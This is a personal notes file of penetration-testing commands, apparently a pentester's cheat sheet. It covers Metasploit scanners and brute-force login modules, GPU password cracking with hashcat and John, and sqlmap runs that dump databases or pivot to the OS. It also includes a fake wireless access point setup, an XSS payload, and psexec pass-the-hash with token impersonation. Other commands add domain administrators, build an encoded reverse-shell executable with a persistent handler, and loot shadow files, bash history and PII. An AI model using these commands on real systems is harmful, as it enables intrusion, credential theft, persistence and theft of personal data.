metasploit_tips_tricks

# nethackit.sh.txt metasploit scanners
auxiliary/scanner/ftp/anonymous
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/snmp/snmp_enumshares
auxiliary/scanner/snmp/snmp_enumusers
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/mssql/mssql_hashdump
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/oracle/sid_brute
auxiliary/scanner/smtp/smtp_enum
auxiliary/scanner/smtp/smtp_version
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/mysql/mysql_hashdump
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/mysql/mysql_version
auxiliary/scanner/smb/smb_version
auxiliary/scanner/smb/smb_enumusers
auxiliary/scanner/smb/smb_login
auxiliary/scanner/smb/smb_enumshares
auxiliary/scanner/nfs/nfsmount
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/vnc/vnc_none_auth
auxiliary/scanner/pop3/pop3_version
auxiliary/scanner/pop3/pop3_login
auxiliary/scanner/http/http_login
auxiliary/scanner/http/dir_scanner
auxiliary/scanner/http/dir_scanner
auxiliary/scanner/http/http_version
auxiliary/scanner/http/robots_txt
auxiliary/scanner/http/apache_userdir_enum
auxiliary/scanner/http/blind_sql_query
auxiliary/scanner/http/cisco_ios_auth_bypass
auxiliary/scanner/http/error_sql_injection
auxiliary/scanner/http/files_dir
auxiliary/scanner/http/jboss_vulnscan
auxiliary/scanner/http/web_vulndb
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/ssh/ssh_login_pubkey
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/sip/enumerator
auxiliary/scanner/sip/enumerator_tcp
auxiliary/scanner/sip/sipdroid_ext_enum

# grep password words in a file and shot 4 lines before and after grep images AIX images
egrep -A 4 -B 4 -ia '(passwd|password|shadow)' someAIX_NIM_DUMP.image.110512 > out.txt
# perform strings on the output so we can read it ..
strings out.txt > out2.txt


# Oracle 7-10g DES(ORACLE) Oclhashcat_plus GPU
# input :   F35C90763516369B:DEV_MDS
cudaHashcat-plus64.exe --hash-type 3100 C:\egb\ocl\ORACLE.txt C:\egb\Dictionaries\PasswordsPro.dic C:\egb\Dictionaries\Xploitz_clean.lst

#oracle dump ref defcon-17-chris_gates-breaking_metasploit.pdf and win32exec.rb in MSF
select owner, table_name, column_name,data_type,data_length, data_precision,data_default, avg_col_len, char_length from sys.dba_tab_columns where owner not in ('APPQOSSYS','ADUSER','CTXSYS','DIP','DBSNMP','MDSYS','OUTLN','SYS','SYSTEM','TEST','XDB','WMSYS','XSNULL') AND avg_col_len>0

# oracle
nmap -n --script=oracle-sid-brute -p 1521-1560 -iL oracle -A

# mount smb share with runas/savecred ... yes this is bad idea!
runas /u:admin /savecred "net use Z: \\192.168.1.151\myth\h /del"
runas /u:admin /savecred "net use \\192.168.1.151\myth\h /del"
runas /u:admin /savecred "net use z: \\192.168.1.151\myth\h /user:mythtv PASSSWORDHERE"




Use takeown to take ownership of the file
takeown /r /d y /f *
Follow it up with icacls set the access control list
icacls * /t  /grant Everyone:F


#So it appears Google translator blocks English to English translating ( aka super fast web proxy ).  So guess what ? Just change the source language it to valid English language code like en-au

http://translate.google.com/translate?sl=af&tl=en-au&js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&u=http%3A%2F%2Frmccurdy.com



#gawk awk system exec commands with output of awk
/rmccurdy/scripts/web_dump.sh:echo $i|sed 's/,/ /g' | gawk '{system ("curl -k --location-trusted -m 3 -L -o " $1"_"$2".html https:\/\/"$1":"$2 )}' 2>&1  &
/rmccurdy/scripts/web_dump.sh:echo $i|sed 's/,/ /g' | gawk '{system ("curl -k --location-trusted -m 3 -L -o " $1"_"$2".html http:\/\/"$1":"$2 )}' 2>&1  &

#Nmap Idle Scanning.
use auxiliary/scanner/ip/ipidseq
nmap  192.168.1.250 -top-ports 9 -D RND:120 -T4 -ff

# wmic fu search systems for running 'exe' to hijack
FOR /F "delims==" %%A IN ('type ips.txt') DO  wmic /Node:%%A wmic /user:username /password:yourpassword /FAILFAST:ON process where "name like '%.exe'" call  getowner

#uwall.tv direct link
http://uwall.tv/player_lightbox.php?q=gangnam%20style

# burp in win7 etc ..
run as administrator
Solution was to add the "-Djava.net.preferIPv4Stack=true" flag, so the following entry in my .bat file works now:

# John the Ripper Password Cracker (Fast Mode)
# see also :
#
# auxiliary/analyze/jtr_aix
# auxiliary/analyze/jtr_linux
# auxiliary/analyze/jtr_mssql_fast
# auxiliary/analyze/jtr_mysql_fast
# auxiliary/analyze/jtr_oracle_fast
# auxiliary/analyze/jtr_unshadow
# auxiliary/analyze/postgres_md5_crack


use auxiliary/analyze/jtr_crack_fast
set Munge 0
run# got new ebooks with roubble \n\n or \r\r
For converting double newlines (\n\n) to a single newline (\n):
sed -e 'N;P;s/\n$//;D'

For converting double carriage returns (\r\r) to a single carriage
return (\r):
sed -e 's/\r\r/\r/g'

tr(1) has the -s option, but that will squeeze multiple (possibly more
than two) occurrences to a single occurrence.

This can also be handled in the more general case with perl(1), e.g.:
perl -pe '
BEGIN {$/="\n\n";}
s/\n\n/\n/o;

john 1337 speak worlist gen:



The default john.conf includes some rules like that, enabled for "single crack" mode only by default. You may copy the lines between these two comments:
# The following 3l33t rules are based on original Crack's dicts.rules
l/asa4[:c]
l/ese3[:c]
l/lsl1[:c]
l/oso0[:c]
l/sss$[:c]
...
l/asa4/ese3/lsl1/oso0/sss$[:c]
# Now to the prefix stuff...
into the [List.Rules:Wordlist] section to have them enabled for wordlist mode as well. usage: john -w=wordlist --stdout --rules


# slow this or run it over proxychains etc ..
for i in `cat in` ;do python metagoofil.py -d $i -l 100 -f all -o micro_$i.html -t micro-files_$i;sleep 60;done
for i in `cat in` ;do ./theHarvester.py -d $i -b google;sleep 60;done


# hybrid mask attack hashcat  not all special characters
?u?l?d!@#$-().*_

# grep 8 or more char long characterslength
grep '[^\ ]\{8,\}'
# sed 8 chars long characters long length
sed -n -e '/^.\{8\}$/p''


# fix path Environment Variables path issues in M$
sysdm.cpl
C:\Program Files\w3af;C:\Program Files;C:\winxp;C:\winxp\System32;c:\program files\nmap;C:\Program Files\RSA SecurID Token Common;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Strawberry\c\bin;C:\Strawberry\perl\site\bin;C:\Strawberry\perl\bin


# nmap smb check vulns -oA does nothing for this nse script so just take std out ...
nmap -oA smb_check -T4 -n -vvvv -p 135-139,445 -dddddd --script smb-check-vulns.nse --script-args safe=0  unsafe=1 --script-args=unsafe=1 -iL smb_check.txt   > out.txt

#  openvas cioent
# Update your distro
apt-get update && apt-get dist-upgrade

# Install openvas server and client software + security plugins
apt-get install openvas-server openvas-client \
   openvas-plugins-base openvas-plugins-dfsg

# Update the vuln. database
openvas-nvt-sync

Add a user that you're going to use from the client, to login:

openvas-adduser

Here, you'll add a user/pass combination.

When prompted to add a 'rule' - I allow my user to do everything. The rules allow/disallow scanning of hosts. If you want you can let bob scan 192.168.0.0/24 or whatever. I want my user to scan all, so when prompted, simply enter

default accept

Now, fire up the server. Note that the first time you run, it loads all those checks into memory so it takes a LONG time for the server to actually start.

/etc/init.d/openvas-server start

Now, you can start scanning. Create a file with IP's and/or hostnames that your client will feed to the server to scan. Something like this:

192.168.1.5
www.mydomain.com
dns.mydomain.com
10.1.19.0/24

etc.

The server listens on port: 9390 by default so you'll want to tell your client to connect there. Once you have the file created, you can kick off your scan like this:

OpenVAS-Client -q 127.0.0.1 9390 admin scanme.txt -T html \
     ~/Desktop/openvas-output-`date`.html

You'll be prompted to accept the SSL certificate, go ahead, it's automagically created by the pkg when it's installed. Then, open that file in a browser when it's done and start going through it. Be warned, scanning is very hostile so you should really only scan your own systems.. and those of your enemies.


# sqlmap notes .. also check out Havij 1.15 - Advanced SQL Injection

--wizard
--search -C pass,pwd,ssn


/pentest/database/sqlmap/sqlmap.py -u "https://tZZZZZZ.com/ZZZZZ/Default.aspx" --data="__VIEWSTATE=%ZZZZZZZZ&btnContinue=Continue" --os-pwn --msf-path /pentest/exploits/framework

/pentest/database/sqlmap/sqlmap.py -u "http://ZZZZ4/forgotpass.aspx" --data="__VIEWSTATE=%2FZZZZZZ&email=a&submit=Password" --dump-all --exclude-sysdbs


#oclHashcat plus Support List :

# scripts !
http://itsecblog.net/downloads/batchcrack.sh

number  PSA     hashcat (0.39b24)   oclHashcat-plus (0.08b25)   oclHashcat-lite (0.10b9)
0   MD5     x   x   x
1   *md5($pass.$salt) (see 11)  x
2   *md5($salt.$pass) (see 21)  x
3   *md5(md5($pass)) (see 2600)     x
4   *md5(md5(md5($pass)))   x
5   *vBulletin < v3.8.5 (see 2611)  x
6   *md5(md5($salt).$pass) (see 2811)   x
7   *md5($salt.md5($pass))  x
8   *md5($salt.$pass.$salt)     x
9   *md5(md5($salt).md5($pass))     x
10  *md5(md5($pass).md5($salt))     x       x
11  *md5($salt.md5($salt.$pass))    x
11  Joomla      x   x
12  *md5($salt.md5($pass.$salt))    x
15  *vBulletin > v3.8.5 (see 2711)  x
21  osCommerce, xt:Commerce         x
30  *md5($username.0.$pass)     x
31  *md5(strtoupper(md5($pass)))    x
100     SHA1    x   x   x
101     nsldap, SHA-1(Base64), Netscape LDAP SHA        x   x
101     *sha1($pass.$salt)  x
102     *sha1($salt.$pass)  x
103     *sha1(sha1($pass))  x
104     *sha1(sha1(sha1($pass)))    x
105     *sha1(strtolower($username).$pass) (see 121)    x
110     *sha1($pass.$salt)          x
111     nsldaps, SSHA-1(Base64), Netscape LDAP SSHA         x   x
112     Oracle 11g      x   x
121     SMF > v1.1      x
122     OSX v10.4, v10.5, v10.6         x
131     MSSQL(2000)         x   x
132     MSSQL(2005)         x   x
200     MySQL323    x
300     MySQL >=4.1 x   x   x
400     phpass, MD5(Wordpress), MD5(phpBB3)     x   x
500     md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5     x   x
600     *SHA-1(Base64) (see 101)    x
700     *SSHA-1(Base64) (see 111)   x
800     SHA-1(Django)   x
900     MD4     x   x   x
1000    NTLM    x   x   x
1100    Domain Cached Credentials, mscash   x   x   x
1200    MD5(Chap)   x
1300    MSSQL   x
1400    SHA256  x   x   x
1500    descrypt, DES(Unix), Traditional DES        x   x
1600    md5apr1, MD5(APR), Apache MD5   x   x
1700    SHA512  x       x
1800    SHA-512(Unix)   x
1900    SL3             x
2100    Domain Cached Credentials2, mscash2         x
2400    Cisco-PIX MD5       x   x
2500    WPA/WPA2        x
2600    Double MD5      x   x
2611    vBulletin < v3.8.5      x   x
2711    vBulletin > v3.8.5      x   x
2811    IPB2+, MyBB1.2+         x   x
3000    LM      x   x

    *
      * Depreached,


Example :
set BIN=oclHashcat-plus64
set OPTS=--attack-mode 3 --gpu-accel 160 --gpu-loops 1024 --gpu-watchdog 0 --runtime 30 --force --custom-charset1 ?l?d?s?u

%BIN% %OPTS% --hash-type 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type   11 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type   21 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  101 {SHA}aaaaaaaaaaaaaaaaaaaaaaaaaaQ= ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  111 {SSHA}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ== ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  112 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  121 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  122 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  131 0x0100aaaaaaaa0000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  132 0x0100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  300 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  400 $H$9aaaaaaaaaaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type  500 $1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
%BIN% %OPTS% --hash-type  900 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 1000 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 1100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 1400 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 1500 aaaaaaaaaaaaw ?1?1?1?1?1?1?1?1 --gpu-accel 80
%BIN% %OPTS% --hash-type 1600 $apr1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
%BIN% %OPTS% --hash-type 2100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2400 aaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2500 test.hccap ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2611 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2711 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
%BIN% %OPTS% --hash-type 2811 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaa ?1?1?1?1?1?1?1?1
sq

# ocl hashcat plus examples:



all Rule based attack:
FOR /F "delims==" %%A IN ('DIR/B/S ".\rules\"') DO cudaHashcat-plus32.exe -a 0 -r  "%%A"  -m1100 -o out.txt  "mscache2" "C:\egb\Dictionaries\rockyou.txt"





rem example brute by char to 7 max chars in ~5min  with GTX 560 example hash '2d9f0b052932ad18b87f315641921cda:user' password is password ...
cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1
cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1
cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1
cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1
cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1
cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1?1


rem example Hybrid attack rockyou.txt wordlist+MASK to 4 chars
cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100  "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1"
cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100  "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1"
cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100  "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1?1"


rem same as above with 1337 speek wordlist+MASK  to 4 chars
cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100  "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1"
cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100  "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1"
cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100  "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1?1"

rem example Hybrid attack rockyou.txt wordlist+MASK to 4 chars digi and some special chars only ...
cudaHashcat-plus32.exe -o out.txt -a6 -1 "?d!@#$-().*_" -m1100  "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1?1"

rem example Hybrid attack 1337 speekt wordlist+MASK to 4 chars digi and some special chars only ...
cudaHashcat-plus32.exe -o out.txt -a6 -1 "?d!@#$-().*_" -m1100  "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1?1"




rem dammit I give up ... 6hrs .. for 7char brute
cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1?1?1


REM really !?!? example 8 char brute ( 18 days on GTX 560 )
cudaHashcat-plus32.exe -o out.txt -a3 -1 ?l?u?d!@#$-().*_ -m1100 mscache2 ?1?1?1?1?1?1?1?1



# more examples hashes cracked john

user:2d9f0b052932ad18b87f315641921cda:lab:lab.internal
Service currently active. Stopping service...
Service successfully removed.

John Plugin:
$ ./john -format:mscash ./mscash.txt
Loaded 1 password hash (M$ Cache Hash [mscash])
password (user



# set power profile via command line

Powercfg.exe /SETACTIVE "Always On"
Powercfg.exe /SETACTIVE "Max Battery"

#Remove the .NET Credentials (Stored User names and Passwords)
Control keymgr.dll


# convert amr to mp3
ffmpeg -i file.amr -vn -acodec libmp3lame -ac 2 -ab 96k file.mp3
FOR /F "delims==" %%A IN ('DIR/B "*.amr"') DO ffmpeg -i %%A -vn -acodec libmp3lame -ac 2 -ab 96k %%A.mp3


#windows saved passwords
rundll32.exe keymgr.dll, KRShowKeyMgr

# check for mod date range
find / -type f -newermt 2011-10-01 ! -newermt 2012-04-30

# openvas on 11.10
take src out of the sources.list
add --http-only to the /etc/init.d/greenbone-security-assistant startup script

# mass set path
export PATH=$PATH:`find /usr/lib/ruby/1.9.1 -type d | sed 's/$/:/g' | tr -d '\n'`



# top web ports ports
80-83,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8080,808,8099,8100-8105,8443,8888,8900,9999,10000

# more web ports
10080,10100,10243,10250,10251,1027,1029,1030,1032,10439,10444,11267,1183,1184,11869,11905,11910,11935,1208,13080,1416,14176,14654,16000,16080,16372,17012,18083,1818,18180,1830,1831,19000,19082,19091,19101,1947,1972,19740,2002,2030,20444,2130,2140,21988,2301,2316,2381,2414,2424,24305,2480,2523,25684,25825,2693,27775,280,28080,2851,2869,30444,30900,31458,31459,3201,3227,32843,3339,34988,35135,35145,3526,3617,3790,37922,3842,3914,3938,4036,4053,41647,4220,4239,4343,443,45000,4680,47001,4723,48018,4848,4864,49152,49157,50000,50001,50038,51785,51905,51908,5225,53001,5357,5440,5447,5449,5469,54850,5500,5501,554,5554,55885,56414,56737,57423,57772,57773,5800,5801,591,593,5985,5989,60000,6001,6002,6003,6004,60213,61000,6107,6108,6113,6114,6160,6161,631,6325,6453,6454,65084,65093,6842,7001,7002,7003,7070,7099,7126,7191,7359,7453,7454,7717,7751,80,8000,8001,8002,8003,8004,8008,8020,8070,8071,8077,8080,8081,8082,8083,8085,8086,8087,8088,8090,8093,8094,8095,8099,81,8107,8113,8114,8115,8118,8120,8123,8126,8133,8135,8138,815,8150,8151,8180,82,8200,8222,8260,8300,8323,8333,84,8444,85,8530,8533,86,8660,8666,8701,8703,8732,8733,8740,8878,8880,8888,8889,8900,90,9000,9001,9002,9005,9006,9073,9080,9081,9084,9086,9087,9090,9091,9191,9300,9310,9444,9501,9510,9595,9642,9675,9676,9797,9823,9887

#sap ports
32000,33000,34000,36000,47000,48000,21-23,25,21-23,25,80-83,53,110,135,139,445,3128,1433,1521,3306,3389,5900,6001,8080,8888,80-83,53,110,135,139,445,3128,1433,1521,3306,3389,5900,6001,8080,8888,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8015,8080-8083,8099,8100-8105,8443,8888,8900,9999,10000

# common proxy ports
80,81,82,83,84,85,86,443,808,3128,6515,6666,8000,8001,8008,8080,8081,8088,8090,8118,8181,8888,8909,9000,9090,54321





# Search office documents for PII
# CC with SSN no dash ( high false positive )
find  . -iname "*.???x" -type f -exec  unzip -p '{}' '*'  \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b|\b[0-9]{9}\b"

# CC with SSN dash (  low false positive only match ###-##-#### not any 8digi number )
find  . -iname "*.???x" -type f -exec  unzip -p '{}' '*'  \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b"




# nslookup to CSV
for i in `cat FULL` ;do echo "IP$i";nslookup $i|grep 'name ='|sed 's/.*name = /,/g'|sed 's/\.$//g';done| tr -d '\n' | awk '{gsub("IP","\n"); print}'


# my-ip-neighbors lookup
# 200 at a time .. you need to change the -x to a proxy that works .. rmccurdy.com/scripts/proxy/good.txt
# test google before you start ..
# curl -x 184.171.175.14:808 http://google.com etc ..


for i in `cat FULL`;do echo curl -x 184.171.175.14:808 "\""http://www.my-ip-neighbors.com/?domain=$i"\"";done > go
bash -x go > out

# grep the output for all the goodies and make it nice CSV
egrep "(\"http:\/\/whois\.domaintools\.com|domain\" value=\")" out | sed 's/.*domain\" value=\"/IP /g' | sed 's/\"\/>.*//g' | sed 's/.*domaintools.com\//,/g' | sed 's/" t.*//g' | tr -d '\n' | awk '{gsub("IP","\n"); print}'





# block port 80 throttle
iptables  -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 4 -j REJECT



# CURL HTTPS
for i in `cat check`;do echo curl -L -k --location-trusted -m 3 -L -o $i.htm "\""https://$i"\"";done > https


# airbase/karma.rc setup


--------------------

gogogo
----------------

# change eth1 to internet interface
iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward


# kill stuff the will cause issues ..
killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd

# start MSF karma.rc script  logs are screenlog.0 etc ..
xterm -e "screen -L /pentest/exploits/framework/msfconsole -r /stuff/karma.rc" &

# takes a wile to startup .. lets wait we need it all ready to work before people connect to it so we dont miss packets !!!

echo "waiting for MSF karma to start .. 50sec"
sleep 20

# monitor mode change wlan1 to your wifi
airmon-ng start wlan1

sleep 5

# setup fake AP
xterm -e "airbase-ng -c 6 -P mon0 -v" &

sleep 5

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &

# setup DHCP server
xterm -e "dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0" &

# DEBUG DHCP to see DHCP request hits xterm -e "tcpdump -i at0 -n port 67 and port 68"  &


------------------




# XSS
>"'><script>alert('XSS')</script>
# add full read write read/write full R/W on registry key
SetACL.exe -on "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies" -ot reg -actn ace -ace "n:MyDomain\JohnDoe;p:full"
# add -P0 for no ping
/usr/bin/screen -fa -d -m  nmap -T5  -p 20,21,80,115,443,989,990 -vvvv -sS  -n --max-rtt-timeout 300ms --max-retries 1 192.30.0.0/16 -oA /home/administrator/rmccurdy/192.30.0.0_fast_ping
# msf metasploit use login to get msfshell for pivot/token
use exploit/windows/smb/psexec

set RHOST 192.168.64.123
set SMBUser adminit
set SMBPass password
# also set HASHES !! set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d

exploit

getuid
use priv
getsystem
use incognito
list_tokens -u
add_group_user "Domain Admins"
impersonate_token "DOMAIN\\user"
# add user and give it local admin
net user  test PASSWORDHERE /add
net localgroup administrators test /add

# add user to domain and makt it domain admin
net user /add USERNAME STRONGPASSWORD /domain
net group  /add "domain admins" USERNAME /domain

---------------------------
# make exe
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe

# attacker listen
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.55
set LPORT 443
set ExitOnSession false
# set AutoRunScript pathto script you want to autorun after exploit is run
set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30

exploit -j -z


# armatage DONT USE THIS JUIST USE BIN INSTALL FROM WEBSITE .. INCLUDES FULL AND POSTGRES BINS
apt-get install mysql-server -y
/etc/init.d/mysql start

mysqladmin -u root -ppassword password toor
/pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic

# armatage DONT USE THIS METHOD USE THE BIN FROM WEBSITE IT HAS ITS OWN POSTGRES

apt-get install -y postgresql

apt-get install libpq-dev -y

gem install postgres

/etc/init.d/postgresql start
su -
su - postgres


createuser msf_user -P
createdb --owner=msf_user msf

/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
/pentest/exploits/framework/armitage


 ----


# ssh
use auxiliary/scanner/ssh/ssh_login

#set RHOSTS_FILE "C:/backup/wordlist/targests.txt"
set RHOSTS 192.59.139.135 192.59.139.136 192.59.139.140 192.116.61.25 192.116.61.26 192.116.61.34
# also set RHOSTS file://bla
# set USER_FILE "C:/backup/wordlist/password_large.txt"
set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
set VERBOSE true
set STOP_ON_SUCCESS true
set BRUTEFORCE_SPEED 5
# set this to the number of host
set THREADS 6

run

use auxiliary/gather/dns_enum
set DOMAIN domain.com
run
#smb

use auxiliary/scanner/smb/smb_login

set RHOSTS file://192.168.8.39
set RHOSTS 127.0.0.1

set USER_FILE "C:/wordlist/users.txt"
set PASS_FILE "C:/wordlist/2.txt"
set VERBOSE false
# set to number of host scanning .
set THREADS 16

set STOP_ON_SUCCESS true
set VERBOSE false
  Name                             Value
  ----                             -----
  BLANK_PASSWORDS                  false
  BRUTEFORCE_SPEED                 5
  ConnectTimeout                   10
  DCERPC::ReadTimeout              10
  DCERPC::fake_bind_multi          true
  DCERPC::fake_bind_multi_append   0
  DCERPC::fake_bind_multi_prepend  0
  DCERPC::max_frag_size            4096
  DCERPC::smb_pipeio               rw
  MaxGuessesPerService             0
  MaxGuessesPerUser                0
  MaxMinutesPerService             0
  NTLM::SendLM                     true
  NTLM::SendNTLM                   true
  NTLM::SendSPN                    true
  NTLM::UseLMKey                   false
  NTLM::UseNTLM2_session           true
  NTLM::UseNTLMv2                  true
  PRESERVE_DOMAINS                 true
  REMOVE_PASS_FILE                 false
  REMOVE_USERPASS_FILE             false
  REMOVE_USER_FILE                 false
  RHOST                            file:/home/rmccurdy/high

# http

use auxiliary/scanner/http/http_login
set AUTH_URI /folder?dcPath=ha-datacenter
set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
set VERBOSE true
run
back

# telnet
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 127.0.0.1,49,50

set PASS_FILE "C:/wordlist/password_small.txt"
set THREADS 254
run

back
# mssql
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
set USERNAME sa
set VERBOSE false
run
back



#ftp
use auxiliary/scanner/ftp/ftp_login
set RHOSTS  127.0.0.1
set PASS_FILE /home/administrator/small.txt
set USER_FILE /home/administrator/small.txt
set BRUTEFORCE_SPEED 1
run

#snmp
use auxiliary/scanner/snmp/snmp_login
set RHOSTS  127.0.0.1
set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
set VERBOSE false

run

nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
# got r00t got r00t ?

# bash history very gooOOOd !
updatedb;locate .bash_history

# crack with extrem gpu brute force
cat /etc/shadow | grep -v ":\*:"
# use on other servers by checking bash history
updatedb;locate authorized

# find files modifyed the past 7 days
find / -type f -mtime -7|egrep -v "(proc|\/sys)"

# you can look for other file types sql,*.php,*sql.tar.gz,*pass*,sudousers,/etc/passwd,/root/.ssh or ~/.ssh,password
locate *.sql
locate sql.tar.gz
# what services are listing the part at the top
netstat -na | grep LIS
---------

more notes :
-------------
